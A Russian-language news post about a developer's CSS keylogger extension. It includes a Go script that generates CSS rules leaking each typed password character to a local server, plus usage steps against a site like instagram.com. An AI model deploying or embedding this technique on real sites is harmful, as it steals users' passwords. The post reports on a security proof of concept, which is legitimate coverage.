Кейлоггер на CSS

  • CSS
Независимый разработчик Макс Чихаб (Max Chehab) поделился своим CSS-кейлоггером на GitHub. Инструмент представлен в виде расширения для браузера Chrome.

Принцип работы
Используя селекторы атрибутов, можно запрашивать ресурсы с внешнего сервера под видом загрузки фонового изображения.

Например, следующий CSS выберет все формы ввода с типом password и значением value, заканчивающимся на «а», и затем попытается загрузить фотографию из localhost:3000/a:
input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
С помощью простого скрипта можно создать CSS-файл, который будет посылать опциональные запросы для каждого символа ASCII:
package main

import (
	"fmt"
	"log"
	"net/url"
	"os"
)

func main() {
	fmt.Println("Building keylogger.css")

	output, err := os.Create("./css-keylogger-extension/keylogger.css")
	if err != nil {
		log.Fatal("Cannot create output", err)
	}
	defer output.Close()
	for c := 32; c < 128; c++ {
		value := fmt.Sprintf("%c", c)
		urlValue := url.QueryEscape(value)

		if value == `"` {
			value = `\"`
		} else if value == `}` {
			value = `\\}`
		} else if value == `\` {
			value = `\\`
		}
		fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue)
		fmt.Fprintf(output, "\n")
	}
	fmt.Println("Complete.")
}

Как пользоваться?
  • Открыть веб-сайт, использующий компонентный фреймворк вроде React (например, instagram.com).
  • Нажать на расширение C в правом верхнем углу на любой странице.
  • Ввести свой пароль.
  • Пароль будет перехвачен express-сервером.

Подробности по установке и настройке расширения можно найти в источнике.

Каскадные таблицы стилей становятся популярным инструментом для проведения хакерских атак. Напомним, что в январе был создан прототип системы для отслеживания ряда пользовательских действий на чистом CSS. А в начале февраля у исследователей получилось использовать CSS для кражи токенов CRSF и персональных данных.
Поделиться: